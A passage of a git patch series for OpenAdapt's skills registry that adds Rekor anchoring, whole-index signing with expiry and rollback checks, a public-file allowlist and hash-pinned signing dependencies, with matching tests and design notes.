index_digest(json.loads(index_path.read_text()))}, + out, + signer, + log_keys=log_keys, + submit=submit or submit_hashedrekord, + env=env, + ) + return out + + +def index_anchor_problem( + index: dict[str, Any], + anchor: Any, + keys: dict[str, bytes], + *, + log_keys: Optional[Any] = None, +) -> Optional[str]: + """Why an index's Rekor anchor doesn't hold, or None when it does. + + The anchor must name this exact index and be signed by a registry key. + """ + + from openadapt_flow.seal_anchor import verify_record_anchor + + fields = {"registry_index_sha256": index_digest(index)} + reasons = set() + for public in keys.values(): + result = verify_record_anchor(fields, anchor, public, log_keys=log_keys) + if result.ok: + return None + reasons.add(str(result.reason)) + return ( + "the index's transparency-log anchor does not hold (" + + ", ".join(sorted(reasons) or ["no registry key"]) + + ")" + ) + + def trusted_keys(*, allow_test_key: bool = False) -> dict[str, bytes]: """The registry's public keys, shipped with the package (never fetched). @@ -286,6 +361,7 @@ def pull( keys: Optional[dict[str, bytes]] = None, allow_unsigned: bool = False, allow_test_key: bool = False, + log_keys: Optional[Any] = None, ) -> Path: """Download and verify a bundle into ``out`` (default ``./``). @@ -294,12 +370,27 @@ def pull( unsigned entry (a local index while authoring); a signature that is present must always hold. """ - entry = find(load_index(index_url), workflow_id) + try: + index_data = json.loads(_read(index_url)) + except json.JSONDecodeError as exc: + raise RegistryError(f"index is not JSON: {exc}") from exc + entry = find(validate_index(index_data), workflow_id) if entry.status == "planned": raise RegistryError(f"{workflow_id} is planned and has no bundle yet") + trusted = trusted_keys(allow_test_key=allow_test_key) if keys is None else keys + # A published anchor must hold; an index without one is checked by its + # entries' signatures alone (until anchoring is required). + try: + anchor = json.loads(_read(_join(index_url, ANCHOR_NAME))) + except (RegistryError, OSError, json.JSONDecodeError): + anchor = None + if anchor is not None: + anchored = index_anchor_problem(index_data, anchor, trusted, log_keys=log_keys) + if anchored is not None: + raise RegistryError(anchored) problem = entry_signature_problem( entry.raw, - trusted_keys(allow_test_key=allow_test_key) if keys is None else keys, + trusted, ) if problem is not None and not ( allow_unsigned and entry.raw.get("signature") is None diff --git a/packages/flow/openadapt_flow/seal_anchor.py b/packages/flow/openadapt_flow/seal_anchor.py index bd17f1b5e..04b9384ea 100644 --- a/packages/flow/openadapt_flow/seal_anchor.py +++ b/packages/flow/openadapt_flow/seal_anchor.py @@ -114,6 +114,8 @@ def statement(seal_sha256: str, nonce: str) -> bytes: _RECORD_FIELDS = ( ("seal_sha256",), ("run_authorization_sha256", "signature_sha256"), + # The skills registry's signed index (openadapt_flow.registry.anchor_index). + ("registry_index_sha256",), ) diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index ad7c6a2be..eda686098 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -61,6 +61,19 @@ hooks, because a pulled skill never runs code it downloaded. See that record. - `planned`: no files yet. +## Releases + +`.github/workflows/release-registry.yml` publishes the registry: +1. It builds each bundle as a reproducible archive. +2. It signs every entry in the protected `registry-signing` environment. +3. It anchors the signed index in Rekor (`index.anchor.json`). `pull` checks + that anchor whenever it is present. +4. It releases the archives under a `registry-*` tag. +5. It opens a pull request with the signed index. + +After the first signed release, only that workflow writes `index.json`; +`build_registry_index.py --check` confirms it still matches `sources.json`. + ## Adding a bundle 1. Put the bundle under `bundles///`. Use synthetic data only. diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py index 1482d922f..e2ee3b2d1 100644 --- a/packages/flow/tests/test_skills_registry.py +++ b/packages/flow/tests/test_skills_registry.py @@ -595,3 +595,72 @@ def test_the_archive_is_reproducible(tmp_path): a = registry.build_archive(bundle, tmp_path / "a.tar.gz") b = registry.build_archive(bundle, tmp_path / "b.tar.gz") assert a == b + + +# -- the index's transparency-log anchor ------------------------------------------------ + + +@pytest.fixture +def rekor(): + from tests.test_seal_anchor import FakeRekor + + return FakeRekor() + + +def _anchored(tmp_path, rekor): + index = _registry(tmp_path) + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["signature"] = registry.sign_entry( + item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID + ) + index.write_text(json.dumps(data)) + registry.anchor_index( + index, registry.TEST_KEY_SEED, log_keys=[rekor.log], submit=rekor.submit, env={} + ) + return index + + +def test_an_anchored_index_pulls(tmp_path, rekor): + index = _anchored(tmp_path, rekor) + assert (index.parent / registry.ANCHOR_NAME).is_file() + dest = registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, + log_keys=[rekor.log], + ) + assert (dest / "workflow.json").is_file() + + +def test_an_index_changed_after_anchoring_is_refused(tmp_path, rekor): + index = _anchored(tmp_path, rekor) + data = json.loads(index.read_text()) + # A change no entry signature covers: a planned entry's title. + for item in data["workflows"]: + if item["status"] == "planned": + item["title"] = "something else" + index.write_text(json.dumps(data)) + with pytest.raises(registry.RegistryError, match="anchor does not hold"): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, + log_keys=[rekor.log], + ) + assert not (tmp_path / "s").exists() + + +def test_an_anchor_by_a_key_the_registry_does_not_trust_is_refused(tmp_path, rekor): + index = _anchored(tmp_path, rekor) + with pytest.raises(registry.RegistryError, match="anchor does not hold"): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + keys={"other": bytes(32)}, + log_keys=[rekor.log], + ) From f89894c98e1df8b397454954570d68ea0d71ad3d Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 15:30:52 -0400 Subject: [PATCH 4/8] Skills registry: close the supply-chain review's holes A shipped record check runs nothing it names itself and reads only the binding: its reset, addresses, credential names and paths must be declared variables, checked on the raw YAML before expansion. The private-tier token is read from OPENADAPT_REGISTRY_TOKEN only and sent only over https to a host the package names, with a size cap. The signature checks can't be switched off: --allow-unsigned is for a local index only, the test key and its flag are gone, and the shipped trust root holds no keys yet. The index is signed as a whole with issued_at, expires_at and a serial; pull refuses expired, rolled-back or trimmed indexes, and a remote index without its Rekor anchor. Also: pulls are recorded outside the bundle so stripping provenance doesn't help; run, replay and emitted MCP servers check the target instance; only a skill qualify with the shipped contract (or an explicit --replace-contract) counts; archives are size-checked before reads, https-only and member-pinned; public bundle files are an allowlist; templates need a synthetic-data attestation; archives carry a license NOTICE; the signing job installs only hash-pinned wheels; versions order as semver. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/release-registry.yml | 41 +- CAPABILITIES.md | 2 +- llms-full.txt | 2 +- packages/flow/docs/design/SKILLS_REGISTRY.md | 57 +- packages/flow/openadapt_flow/__main__.py | 7 + packages/flow/openadapt_flow/emit/mcp_tool.py | 13 + packages/flow/openadapt_flow/registry.py | 565 +++++++++++--- .../flow/openadapt_flow/registry_keys.json | 9 +- packages/flow/openadapt_flow/skills.py | 453 ++++++++++-- packages/flow/registry/README.md | 62 +- packages/flow/registry/index.json | 5 + .../flow/registry/signing-requirements.txt | 269 +++++++ packages/flow/registry/sources.json | 20 +- packages/flow/scripts/build_registry_index.py | 23 +- packages/flow/tests/test_registry.py | 22 +- packages/flow/tests/test_skills_registry.py | 157 ++-- .../flow/tests/test_skills_registry_review.py | 695 ++++++++++++++++++ 17 files changed, 2097 insertions(+), 305 deletions(-) create mode 100644 packages/flow/registry/signing-requirements.txt create mode 100644 packages/flow/tests/test_skills_registry_review.py diff --git a/.github/workflows/release-registry.yml b/.github/workflows/release-registry.yml index ad2fbd74f..13735ba04 100644 --- a/.github/workflows/release-registry.yml +++ b/.github/workflows/release-registry.yml @@ -6,13 +6,17 @@ # reproducible .tar.gz and an index whose entries point at this release's # assets, and checks that no bundle holds a private-tier file. # - sign runs in the protected `registry-signing` environment, the only place -# the REGISTRY_SIGNING_SEED secret exists. It signs every entry with the -# registry key (Ed25519ph, the form Rekor accepts) and checks each signature -# against the public keys shipped in openadapt_flow/registry_keys.json, so a -# seed that doesn't match a published key fails the run. The TEST key is -# refused here. It then anchors the signed index in Rekor (a public -# transparency log): the anchor names only the index's SHA-256 and the -# registry's public key. +# the REGISTRY_SIGNING_SEED secret exists. Its Python environment is only +# the hash-pinned wheels in packages/flow/registry/signing-requirements.txt +# (cryptography and pydantic); the engine is read from the checkout, with +# nothing resolved from PyPI. It signs every entry and then the index as a +# whole, with issued_at, expires_at (30 days) and a serial, using the +# registry key (Ed25519ph, the form Rekor accepts). It checks every +# signature against the public keys shipped in +# openadapt_flow/registry_keys.json, so a seed that doesn't match a +# published key fails the run. It then anchors the signed index in Rekor (a +# public transparency log): the anchor names only the index's SHA-256 and +# the registry's public key. pull requires that anchor for a remote index. # - publish-github tags the commit with the openadapt-release App and # publishes an immutable GitHub Release with the archives and the signed # index, then opens a pull request that updates @@ -84,7 +88,9 @@ jobs: --archives dist-registry \ --asset-base "https://github.com/${GITHUB_REPOSITORY}/releases/download/${TAG}/" \ --out dist-registry/index.json - python -m pytest -q packages/flow/tests/test_skills_registry.py::test_no_registry_bundle_in_the_repo_holds_a_private_tier_file + python -m pytest -q \ + packages/flow/tests/test_skills_registry.py::test_no_registry_bundle_in_the_repo_holds_a_private_tier_file \ + packages/flow/tests/test_skills_registry.py::test_every_file_of_a_registry_bundle_in_the_repo_is_allowlisted (cd dist-registry && sha256sum -- *.tar.gz index.json > SHA256SUMS) - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 with: @@ -98,6 +104,8 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 10 environment: registry-signing + env: + PYTHONPATH: packages/flow:packages/types steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: @@ -105,8 +113,10 @@ jobs: - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 with: python-version: "3.12" - - name: Install the engine - run: python -m pip install -e packages/types -e packages/flow + - name: Install only the hash-pinned signing wheels + run: | + python -m pip install --require-hashes --no-deps --only-binary=:all: \ + -r packages/flow/registry/signing-requirements.txt - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: name: registry-unsigned @@ -123,14 +133,17 @@ jobs: OPENADAPT_REGISTRY_SIGNING_SEED="$seed" \ python packages/flow/scripts/build_registry_index.py --sign dist-registry/index.json rm -f "$seed" - - name: Check every signature against the published keys (no TEST key) + - name: Check every signature against the published keys run: | set -euo pipefail python - <<'PY' import json from openadapt_flow import registry index = json.load(open("dist-registry/index.json")) - keys = registry.trusted_keys(allow_test_key=False) + keys = registry.trusted_keys() + problem = registry.index_signature_problem(index, keys) + if problem: + raise SystemExit(f"index: {problem}") for item in index["workflows"]: if item["status"] == "planned": continue @@ -219,9 +232,11 @@ jobs: branch="registry/$TAG" git switch -c "$branch" cp dist-registry/index.json dist-registry/index.anchor.json packages/flow/registry/ + # The anchor is a new file the first time: add both by name. + git add packages/flow/registry/index.json packages/flow/registry/index.anchor.json git -c user.name="openadapt-release[bot]" \ -c user.email="openadapt-release[bot]@users.noreply.github.com" \ - commit -am "registry: signed index for $TAG" + commit -m "registry: signed index for $TAG" git push origin "refs/heads/$branch" gh pr create --base main --head "$branch" \ --title "registry: signed index for $TAG" \ diff --git a/CAPABILITIES.md b/CAPABILITIES.md index faaec68ca..4f6d85356 100644 --- a/CAPABILITIES.md +++ b/CAPABILITIES.md @@ -254,7 +254,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | -| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](packages/flow/docs/design/SKILLS_REGISTRY.md) | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then, and on any other instance. The index and each entry are signed by a key shipped with the package, expire, and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof diff --git a/llms-full.txt b/llms-full.txt index 52aa65cac..4fabf7a34 100644 --- a/llms-full.txt +++ b/llms-full.txt @@ -651,7 +651,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | -| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](https://github.com/OpenAdaptAI/OpenAdapt/blob/main/packages/flow/docs/design/SKILLS_REGISTRY.md) | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then, and on any other instance. The index and each entry are signed by a key shipped with the package, expire, and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](https://github.com/OpenAdaptAI/OpenAdapt/blob/main/packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md index 4f3f86cce..a716a1c92 100644 --- a/packages/flow/docs/design/SKILLS_REGISTRY.md +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -129,9 +129,8 @@ AGPL entry is published. offline. The production key is a founder action: the release workflow (`.github/workflows/release-registry.yml`) reads its seed only from the REGISTRY_SIGNING_SEED secret of the protected `registry-signing` - environment, and only the public key is committed. Until then a TEST key, - whose seed is public and whose public key is flagged `test`, is accepted - only with `--allow-test-key`. + environment, and only the public key is committed. No key whose seed is + public is trusted: tests pass their own keys. - **Where it lives.** The signed index stays in `packages/flow/registry/`. Bundles are release assets on OpenAdaptAI/OpenAdapt under a `registry-*` tag, published by the reviewed release workflow. An entry's `archive` pins @@ -144,12 +143,58 @@ AGPL entry is published. duplicate rules, value maps, SQL text and extra field paths) and the fault suites come from a private tier fetched with credentials. An entry's `full_contract` pins its URL and sha256. `skill qualify` fetches it with the - bearer token in `OPENADAPT_REGISTRY_TOKEN` (or the entry's `token_env`), - checks it against the signed entry, and keeps it beside the bundle, never - in it. Without a token it qualifies with the public minimal contract and + bearer token in `OPENADAPT_REGISTRY_TOKEN` (never a variable the entry + names), only from an https host the package names + (`registry.PRIVATE_TIER_HOSTS`), size-capped, checks it against the signed + entry, and keeps it beside the bundle, never in it. Without a token it qualifies with the public minimal contract and says so. `verifier_score` publishes only the counts and the private suite's sha256. The index validator and a repository test refuse any private-tier file (`verify.full.yaml`, `check_coverage.json`, fault, held-out and SPEC files) in a public bundle. The benchmark contracts on synthetic fixtures stay public as synthetic samples, without whole-database frame configurations or extra field paths. + +## Decisions (supply-chain review, 2026-10-28) + +- **A shipped contract runs nothing it names and reads nothing but the + binding.** `skill qualify` checks the raw YAML of the bundled or private + contract before any `${}` expansion + (`skills.shipped_contract_problems`): + - no Python hooks and no plugin read-back; + - `app.reset.command` and `app.reset.http.url` are exactly one `${VAR}` of + kind `command` or `url`; + - every address (`url`, `*_url`, `host`, `dsn`, `jku`) starts with a `url` + variable and adds at most a path; + - every credential name (`*_env`) is an `env_var_name` variable; + - every path (`storage_state`, `*_file`, `sqlite_database`, `root`) is a + `path` variable; + - every `${NAME}` is a declared variable. + + Expansion then uses the binding alone, never `os.environ`. +- **The signature checks can't be switched off.** `--allow-unsigned` applies + only to an index on the local disk. There is no test-key flag, and the + shipped trust root holds no key whose seed is public. +- **Rollback and freeze.** The index as a whole is signed, with `issued_at`, + `expires_at` (30 days) and a `serial`. `pull` refuses an expired index and + a serial lower than the highest seen for that index + (`$OPENADAPT_HOME/registry-state.json`). A remote index must have a Rekor + anchor. +- **Stripping the provenance.** `pull` records the program's steps digest in + `$OPENADAPT_HOME/pulled.json`. A bundle without provenance whose steps + match is refused until it carries a current certification on a named + instance. +- **The target.** `run` checks the deployment's app address, not only + `--url`. An emitted web MCP server checks the URL each call gives against + the qualified instance. +- **Which contract qualifies.** The lock must record a `skill qualify` of + this digest with the shipped (minimal or full) contract. The user's own + contract counts only when the skill ships none, or with + `--replace-contract`. +- **Archives.** Archives are https only (for a local index, a path inside its + directory). Member sizes are checked from the header before any read, the + total and the member count are capped, and every member must be one the + entry lists, or the `NOTICE`. +- **Lower.** Public bundle files are an allowlist. Screen templates need the + entry's `screens.data: synthetic` attestation. Versions order as semver (a + pre-release before its release). The signing job installs only + hash-pinned wheels. diff --git a/packages/flow/openadapt_flow/__main__.py b/packages/flow/openadapt_flow/__main__.py index 43501a593..901be61e6 100644 --- a/packages/flow/openadapt_flow/__main__.py +++ b/packages/flow/openadapt_flow/__main__.py @@ -2696,6 +2696,7 @@ def _cmd_replay(args: argparse.Namespace) -> int: headed = args.headed or cfg.backend.headed url = args.url or cfg.backend.url + refuse_unqualified_skill(bundle, target_url=url) if url and args.drift: raise SystemExit( "--drift only applies to the bundled MockMed demo app; " @@ -3724,6 +3725,12 @@ def _cmd_run(args: argparse.Namespace) -> int: return 2 if _refuse_missing_citrix_readiness(backend_cfg, operation="run"): return 2 + # A pulled skill runs only on the instance it was qualified on: the + # deployment's app address, not only an explicit --url. + refuse_unqualified_skill( + bundle, + target_url=getattr(args, "url", None) or getattr(backend_cfg, "url", None), + ) will_actuate = not bool(getattr(args, "dry_run", False)) authority_file = getattr(args, "qualification_authority_file", None) dispatch_file = getattr(args, "managed_dispatch_file", None) diff --git a/packages/flow/openadapt_flow/emit/mcp_tool.py b/packages/flow/openadapt_flow/emit/mcp_tool.py index 802e433a8..9d09c134a 100644 --- a/packages/flow/openadapt_flow/emit/mcp_tool.py +++ b/packages/flow/openadapt_flow/emit/mcp_tool.py @@ -60,6 +60,19 @@ def {func_name}(url: str{param_sig}) -> dict: record before you call this tool again. """ params = {params_dict} + from openadapt_flow.skills import pulled_skill_refusal + + # A skill pulled from the registry runs only on the instance it was + # qualified on; the bundle copy carries that qualification. + refusal = pulled_skill_refusal(BUNDLE_DIR, target_url=url) + if refusal is not None: + return {{ + "success": False, + "outcome": "REFUSED", + "transaction_outcome": None, + "production_eligible": False, + "detail": refusal, + }} from playwright.sync_api import sync_playwright from openadapt_flow._browser_setup import launch_chromium diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index 347e32520..4b22ae87e 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -21,19 +21,29 @@ needs. A pulled skill is marked (``skill.lock.json``) and any certification it carries is expired: it runs only after ``openadapt-flow skill qualify`` on the user's own instance (:mod:`openadapt_flow.skills`). + +A remote index must be signed as a whole (``issued_at``, ``expires_at`` and a +``serial`` are part of what is signed) and anchored in Rekor, and every entry +must be signed too, by a key shipped with the package. ``pull`` refuses an +expired index and one whose serial is lower than the highest it has seen for +that index (``$OPENADAPT_HOME/registry-state.json``). ``--allow-unsigned`` +applies only to an index on the local disk. """ from __future__ import annotations import base64 +import fnmatch import hashlib import json +import os import shutil import tempfile from dataclasses import dataclass +from datetime import datetime, timedelta, timezone from pathlib import Path from typing import Any, Optional -from urllib.parse import urljoin +from urllib.parse import urljoin, urlsplit DEFAULT_INDEX_URL = ( "https://raw.githubusercontent.com/OpenAdaptAI/OpenAdapt/main/" @@ -41,6 +51,17 @@ ) STATUSES = ("example", "certified", "planned") MAX_FILE_BYTES = 20 * 1024 * 1024 +#: An archive's members, all together, and how many there may be. +MAX_ARCHIVE_BYTES = 100 * 1024 * 1024 +MAX_ARCHIVE_MEMBERS = 2000 +#: The private tier's record check, at most. +MAX_FULL_CONTRACT_BYTES = 1024 * 1024 +#: Hosts the private tier is fetched from; the bearer token goes nowhere else. +PRIVATE_TIER_HOSTS = frozenset({"registry.openadapt.ai"}) +#: How long a signed index is valid when the release workflow signs it. +INDEX_LIFETIME = timedelta(days=30) +#: Clock skew allowed for an index's ``issued_at``. +_CLOCK_SKEW = timedelta(minutes=5) class RegistryError(RuntimeError): @@ -53,28 +74,48 @@ class RegistryError(RuntimeError): #: checks for an Ed25519 key in a ``hashedrekord`` entry, so an entry can be #: anchored as Seals are). _ENTRY_DOMAIN = b"openadapt.registry-entry/v1\n" +#: Domain separation for the signed index as a whole. +_INDEX_DOMAIN = b"openadapt.registry-index/v1\n" +#: The index fields the index signature makes fresh: when it was signed, when +#: it expires and its place in the sequence. +INDEX_FRESHNESS_FIELDS = ("issued_at", "expires_at", "serial") KEYS_FILE = Path(__file__).with_name("registry_keys.json") -#: The TEST key's seed: public on purpose, for tests and local seeding. Its -#: public half is flagged ``test`` in ``registry_keys.json``, and ``pull`` -#: accepts an entry it signed only with ``allow_test_key``. -TEST_KEY_ID = "openadapt-registry-test-1" -TEST_KEY_SEED = hashlib.sha256( - b"openadapt-registry-TEST-key: not secret, accepted only with --allow-test-key" -).digest() - -#: Files that belong to the private, credentialed tier and never to a public -#: bundle (source-policy.yaml: per-system oracle recipes and fault suites). -PRIVATE_FILE_NAMES = frozenset( - {"verify.full.yaml", "check_coverage.json", "faults.yaml", "SPEC.md", "WITNESS.md"} + +#: The files a public bundle may hold. Anything else is refused, so a +#: private-tier file can't slip in under another spelling. +PUBLIC_FILE_PATTERNS = ( + "workflow.json", + "workflow.py", + "manifest.json", + "param_hygiene.json", + "benchmark-contract.json", + "skill.json", + "verify.yaml", + "README.md", + "templates/*.png", +) + +#: Private-tier files (source-policy.yaml: per-system oracle recipes and +#: fault suites), named in the refusal. The allowlist above is what decides. +PRIVATE_FILE_STEMS = frozenset( + {"verify.full", "check_coverage", "faults", "spec", "witness"} ) PRIVATE_FILE_PREFIXES = ("heldout", "fault-brief", "rows") +def public_bundle_file(rel: str) -> bool: + """Whether a bundle path is one a public bundle may hold.""" + + return any(fnmatch.fnmatchcase(rel, pattern) for pattern in PUBLIC_FILE_PATTERNS) + + def private_tier_file(rel: str) -> bool: - """Whether a bundle path names a private-tier file.""" + """Whether a bundle path looks like a private-tier file, in any spelling.""" - name = Path(rel).name - return name in PRIVATE_FILE_NAMES or name.startswith(PRIVATE_FILE_PREFIXES) + name = Path(rel).name.lower() + return name.rsplit(".", 1)[0] in PRIVATE_FILE_STEMS or name.startswith( + PRIVATE_FILE_PREFIXES + ) def entry_statement(raw: dict[str, Any]) -> bytes: @@ -90,14 +131,159 @@ def entry_sha256(raw: dict[str, Any]) -> str: return hashlib.sha256(entry_statement(raw)).hexdigest() +def _signature_block(statement: bytes, seed: bytes, key_id: str) -> dict[str, str]: + from openadapt_flow.ed25519ph import sign_prehashed + + signature = sign_prehashed(seed, hashlib.sha512(statement).digest()) + return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} + + +def _signature_problem( + statement: bytes, signature: Any, keys: dict[str, bytes], what: str +) -> Optional[str]: + from openadapt_flow.ed25519ph import verify_prehashed + + if not isinstance(signature, dict): + return f"the {what} is not signed" + key = keys.get(str(signature.get("key_id"))) + if key is None: + return f"the {what} is signed by an unknown key {signature.get('key_id')!r}" + try: + sig = base64.b64decode(str(signature.get("ed25519ph", "")), validate=True) + except ValueError: + return f"the {what}'s signature is not base64" + if not verify_prehashed(key, hashlib.sha512(statement).digest(), sig): + return f"the {what}'s signature does not match its content" + return None + + def sign_entry(raw: dict[str, Any], seed: bytes, key_id: str) -> dict[str, str]: """A signature block for ``raw``, made with the 32-byte Ed25519 ``seed``.""" - from openadapt_flow.ed25519ph import sign_prehashed + return _signature_block(entry_statement(raw), seed, key_id) - digest = hashlib.sha512(entry_statement(raw)).digest() - signature = sign_prehashed(seed, digest) - return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} + +def index_statement(index: dict[str, Any]) -> bytes: + """What the index signature covers: the whole index but its signature. + + That includes every entry (with its own signature) and the freshness + fields, so an old index can't be replayed as new and an entry can't be + dropped from a signed index. + """ + + body = {k: v for k, v in index.items() if k not in ("signature", "anchor")} + return _INDEX_DOMAIN + json.dumps( + body, sort_keys=True, separators=(",", ":"), ensure_ascii=False + ).encode("utf-8") + + +def _stamp(moment: datetime) -> str: + return moment.astimezone(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + + +def sign_index( + index: dict[str, Any], + seed: bytes, + key_id: str, + *, + now: Optional[datetime] = None, + lifetime: timedelta = INDEX_LIFETIME, +) -> dict[str, Any]: + """Sign every entry, stamp the freshness fields, then sign the index.""" + + now = now or datetime.now(timezone.utc) + for item in index["workflows"]: + if item.get("status") != "planned": + item.pop("signature", None) + item["signature"] = sign_entry(item, seed, key_id) + index.pop("signature", None) + index.update( + issued_at=_stamp(now), + expires_at=_stamp(now + lifetime), + # Seconds since the epoch: it only ever grows from one signing to + # the next. + serial=int(now.timestamp()), + ) + index["signature"] = _signature_block(index_statement(index), seed, key_id) + return index + + +def _parse_stamp(value: Any) -> Optional[datetime]: + try: + return datetime.strptime(str(value), "%Y-%m-%dT%H:%M:%SZ").replace( + tzinfo=timezone.utc + ) + except ValueError: + return None + + +def index_signature_problem( + index: dict[str, Any], keys: dict[str, bytes], *, now: Optional[datetime] = None +) -> Optional[str]: + """Why the index's own signature or freshness doesn't hold, or None.""" + + problem = _signature_problem( + index_statement(index), index.get("signature"), keys, "index" + ) + if problem is not None: + return problem + issued = _parse_stamp(index.get("issued_at")) + expires = _parse_stamp(index.get("expires_at")) + serial = index.get("serial") + if issued is None or expires is None or not isinstance(serial, int): + return "the index has no valid issued_at, expires_at and serial" + now = now or datetime.now(timezone.utc) + if issued > now + _CLOCK_SKEW: + return f"the index was issued in the future ({index['issued_at']})" + if now >= expires: + return f"the index expired at {index['expires_at']}" + return None + + +def _state_path() -> Path: + home = Path(os.environ.get("OPENADAPT_HOME", Path.home() / ".openadapt")) + return home / "registry-state.json" + + +def _read_state() -> dict[str, Any]: + try: + state = json.loads(_state_path().read_text()) + except (OSError, json.JSONDecodeError): + return {} + return state if isinstance(state, dict) else {} + + +def _index_key(index_url: str) -> str: + if index_url.startswith("https://"): + return index_url + return str(Path(index_url).resolve()) + + +def serial_problem(index_url: str, serial: int) -> Optional[str]: + """Why ``serial`` is older than the newest this index has served, or None.""" + + seen = (_read_state().get("serials") or {}).get(_index_key(index_url)) + if isinstance(seen, int) and serial < seen: + return ( + f"the index's serial {serial} is older than {seen}, the newest seen " + "from it: a stale or rolled-back copy" + ) + return None + + +def record_serial(index_url: str, serial: int) -> None: + """Keep the highest serial seen for this index.""" + + state = _read_state() + serials = state.setdefault("serials", {}) + key = _index_key(index_url) + if not isinstance(serials.get(key), int) or serial > serials[key]: + serials[key] = serial + path = _state_path() + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.with_suffix(".tmp") + tmp.write_text(json.dumps(state, indent=2, sort_keys=True) + "\n") + tmp.replace(path) #: The index's Rekor anchor, published beside it (``index.anchor.json``). @@ -175,18 +361,16 @@ def index_anchor_problem( ) -def trusted_keys(*, allow_test_key: bool = False) -> dict[str, bytes]: - """The registry's public keys, shipped with the package (never fetched). - - A key flagged ``test`` is left out unless ``allow_test_key``. - """ +def trusted_keys() -> dict[str, bytes]: + """The registry's public keys, shipped with the package (never fetched).""" data = json.loads(KEYS_FILE.read_text()) keys = {} for kid, spec in (data.get("keys") or {}).items(): if isinstance(spec, str): spec = {"public": spec} - if spec.get("test") and not allow_test_key: + if spec.get("test"): + # A key whose seed is public signs 